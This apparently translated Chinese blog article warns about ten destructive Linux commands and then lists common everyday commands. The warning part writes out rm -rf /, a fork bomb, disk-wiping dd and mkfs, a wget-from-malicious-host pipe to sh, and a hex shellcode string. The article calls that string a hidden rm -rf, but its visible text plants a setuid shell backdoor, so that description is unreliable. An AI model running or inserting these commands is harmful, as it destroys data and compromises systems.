Linux中最危险的10个命令
对于编程人员或或者Linux系统管理员来说, *** 作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误 *** 作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!
当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药在普 通用户身份下,破坏的只是自己的一亩三分地。
1. rm -rf 命令
rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。
rm 命令在Linux下通常用来删除文件。
rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)
rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
rm -rf *: 强制删除当前目录的所有文件。
rm -rf . : 强制删除当前文件夹及其子文件夹。
从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)
2. :(){:|:&}: 命令
这就是个fork 炸d的实例。具体 *** 作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:&}:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
3. 命令 >/dev/sda
上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该 *** 作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4. mv 文件夹 /dev/null
这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写 *** 作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。
5. wget http://malicious_source -O- | sh
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)
6. mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)
7. >file
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “>xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
8. ^foo^bar
这个命令在“鲜为人知而又实用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)
10. 隐藏命令
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyondchmod 4755/tmp/.beyond”
注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。
linux 常用命令有:
pwd 命令
使用 pwd 命令找出您所在的当前工作目录(文件夹)的路径。该命令将返回一个绝对(完整)路径,该路径基本上是所有以 / 开头的目录的路径。绝对路径的一个示例是 /home/username。
cd 命令
要浏览 Linux 文件和目录,请使用 cd 命令。根据您所在的当前工作目录,它需要目录的完整路径或名称。假设您位于 /home/username / Documents 中,并且想要转到 Documents 的子目录 Photos。为此,只需键入以下命令:cd Photos。另一种情况是,如果您想切换到一个全新的目录,例如 /home/username / Movies。在这种情况下,您必须输入 cd,然后输入目录的绝对路径:cd /home/username / Movies。有一些快捷方式可帮助您快速导航:cd ..(带有两个点)将一个目录向上移动 cd 直接转到主文件夹 cd-(带连字符)移动到上一个目录附带说明一下,Linux 的 shell 是区分大小写的。因此,您必须准确输入名称的目录。
ls 命令
LS 命令用于查看目录的内容。默认情况下,此命令将显示当前工作目录的内容。如果要查看其他目录的内容,请键入 ls,然后键入目录的路径。例如,输入 LS / 家 / 用户名 / 文档查看的内容的文件。您可以使用 ls 命令使用以下变体:ls -R 还将列出子目录中的所有文件 ls -a 将显示隐藏的文件 ls -al 将列出文件和目录以及详细信息,例如权限,大小,所有者等。
cat 命令
cat(连接的缩写)是 Linux 中最常用的命令之一。它用于在标准输出(sdout)上列出文件的内容。要运行此命令,请键入 cat,然后输入文件名及其扩展名。例如:cat file.txt。以下是使用 cat 命令的其他方法:cat>filename 创建一个新文件 cat filename1 filename2>filename3 连接两个文件(1 和 2),并将它们的输出存储在新文件中(3)将文件转换为大写或小写使用,cat filename | tr a-z A-Z >output.txt
cp 命令
使用 cp 命令将文件从当前目录复制到另一个目录。例如,命令 cp scenery.jpg/home /username/ Pictures 将在您的 Pictures 目录中创建一个 Scene.jpg 副本(来自当前目录)。
mv 命令
mv 命令的主要用途是移动文件,尽管它也可以用于重命名文件。mv 中的参数类似于 cp 命令。您需要输入 mv,文件名和目标目录。例如:mv file.txt/home /username/ Documents。
mkdir 命令
使用 mkdir 命令创建一个新目录 - 如果键入 mkdir Music,它将创建一个名为 Music 的目录。还有一些额外的 mkdir 命令:要在另一个目录中生成新目录,请使用此 Linux 基本命令 mkdir Music / Newfile 使用 p(父级)选项在两个现有目录之间创建一个目录。例如,mkdir -p Music / 2022 / Newfile 将创建新的 “2022” 文件。
rmdir 命令
如果需要删除目录,请使用 rmdir 命令。但是,rmdir 仅允许您删除空目录。
rm 命令
该 RM 命令用于删除目录以及其中的内容。如果只想删除目录(作为 rmdir 的替代方法),请使用 rm -r。注意:使用此命令时要格外小心,并仔细检查您所在的目录。这将删除所有内容,并且没有撤消 *** 作。
touch 命令
该触摸命令允许您创建通过 Linux 命令行新的空白文件。例如,输入 touch /home/username/Documents/Web.html 在 Documents 目录下创建一个名为 Web 的 HTML 文件。
locate 命令
您可以使用此命令来定位文件,就像 Windows 中的搜索命令一样。此外,将 - i 参数与该命令一起使用将使其不区分大小写,因此即使您不记得其确切名称,也可以搜索文件。要搜索包含两个或多个单词的文件,请使用星号(*)。例如,locate -i school * note 命令将搜索包含单词 “school” 和 “ note” 的任何文件,无论它是大写还是小写。
find 命令
在类似定位命令,使用 查找也搜索文件和目录。区别在于,您可以使用 find 命令在给定目录中查找文件。例如,find /home/-name notes.txt 命令将在主目录及其子目录中搜索名为 notes.txt 的文件。使用查找时的其他变化 是:要查找当前目录中使用的文件,请使用 find . -name notes.txt 要查找目录,请使用 /-type d -name notes. txt13. grep 命令无疑对日常使用很有帮助的另一个基本 Linux 命令是 grep。它使您可以搜索给定文件中的所有文本。为了说明这一点,grep blue notepad.txt 将在记事本文件中搜索单词 blue。包含搜索到的单词的行将被完整显示。
sudo 命令
该命令是 “SuperUser Do” 的缩写,使您能够执行需要管理或超级用户权限的任务。但是,建议不要将此命令用于日常使用,因为如果您做错了一些事情,很容易发生错误。
df 命令
使用 df 命令可获取有关系统磁盘空间使用情况的报告,以百分比和 KB 表示。如果要以兆字节为单位查看报告,请输入 df -m。
du 命令
如果要检查文件或目录占用了多少空间,答案是 du(磁盘使用情况)命令。但是,磁盘使用情况摘要将显示磁盘块号,而不是通常的大小格式。如果要以字节,千字节和兆字节为单位查看它,请在命令行中添加 - h 参数。
head 命令
所述头命令用于查看任何文本文件的第一行。默认情况下,它将显示前十行,但是您可以根据自己的喜好更改此数字。例如,如果只想显示前五行,则键入 head -n 5 filename.ext。
tail 命令
该命令与 head 命令具有相似的功能,但是 tail 命令将显示文本文件的最后十行,而不是显示第一行。例如,tail -n filename.ext。
diff 命令
diff 命令是差异的缩写,diff 命令逐行比较两个文件的内容。分析文件后,它将输出不匹配的行。程序员在需要进行程序更改时经常使用此命令,而不是重写整个源代码。此命令最简单的形式是 diff file1.ext file2.ext
tar 命令
该 tar 命令是最常用的命令归档多个文件到一个压缩包。类似于 zip 格式常见的 Linux 文件格式,压缩是可选的。该命令具有很长的功能列表,非常复杂,例如将新文件添加到现有档案中,列出档案内容,从档案中提取内容等等。查看一些实际示例,以了解有关其他功能的更多信息。
chmod 命令
chmod 是另一个 Linux 命令,用于更改文件和目录的读取,写入和执行权限。由于此命令相当复杂,因此您可以阅读完整的教程以正确执行它。
chown 命令
在 Linux 中,所有文件均归特定用户所有。该 CHOWN 命令使您可以更改或文件的所有权转让给指定的用户名。例如,chown linuxuser2 file.ext 将使 linuxuser2 成为 file.ext 的所有者。
Jobs 命令
jobs 命令将显示所有当前作业及其状态。作业基本上是由 Shell 启动的进程。
kill 命令
如果您的程序无响应,则可以使用 kill 命令手动终止它。它将向运行异常的应用发送特定信号,并指示该应用自行终止。您总共可以使用 64 个信号,但是人们通常只使用两个信号:SIGTERM(15) — 请求程序停止运行,并给它一些时间来保存其所有进度。如果在输入 kill 命令时未指定信号,则将使用此信号。SIGKILL(9) - 强制程序立即停止。未保存的进度将丢失。除了知道信号之外,您还需要知道要杀死的程序的进程标识号(PID)。如果您不知道 PID,只需运行命令 ps ux。在知道您要使用什么信号以及程序的 PID 之后,输入以下语法:kill [signal option] PID.
ping 命令
使用 ping 命令检查与服务器的连接状态。例如,只需输入 ping google.com,该命令将检查您是否能够连接到 Google 并测量响应时间。
wget 命令
Linux 命令行非常有用 - 您甚至可以在 wget 命令的帮助下从 Internet 下载文件。为此,只需键入 wget,然后输入下载链接即可。
uname 命令
该 UNAME 命令,短期对于 Unix 名,将打印您的 Linux 系统,如计算机名称的详细信息, *** 作系统,内核,等等。
top 命令
作为与 Windows 中的任务管理器等效的终端,top 命令将显示正在运行的进程的列表以及每个进程使用的 CPU 数量。监视系统资源使用情况非常有用,尤其是知道哪个进程由于消耗太多资源而需要终止时。
history 命令
当您使用 Linux 一段时间后,您会很快注意到每天可以运行数百个命令。因此,如果您想查看之前输入的命令,运行历史记录命令特别有用。
man 命令
对某些 Linux 命令的功能感到困惑吗?不用担心,您可以使用 man 命令从 Linux 的外壳程序中轻松地学习如何使用它们。例如,输入 man tail 将显示 tail 命令的手动指令。
echo 命令
此命令用于将一些数据移到文件中。例如,如果要将文本 “Hello,我的名字叫 John” 添加到名为 name.txt 的文件中,则可以键入 echo Hello, my name is John >>name.txt
zip,unzip 命令
使用 zip 命令将文件压缩到 zip 归档文件中,然后使用 unzip 命令从 zip 归档文件中提取压缩文件。
hostname 命令
如果您想知道主机 / 网络的名称,只需键入 hostname。在末尾添加 - I 将显示您的网络的 IP 地址。
useradd,userdel 命令
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)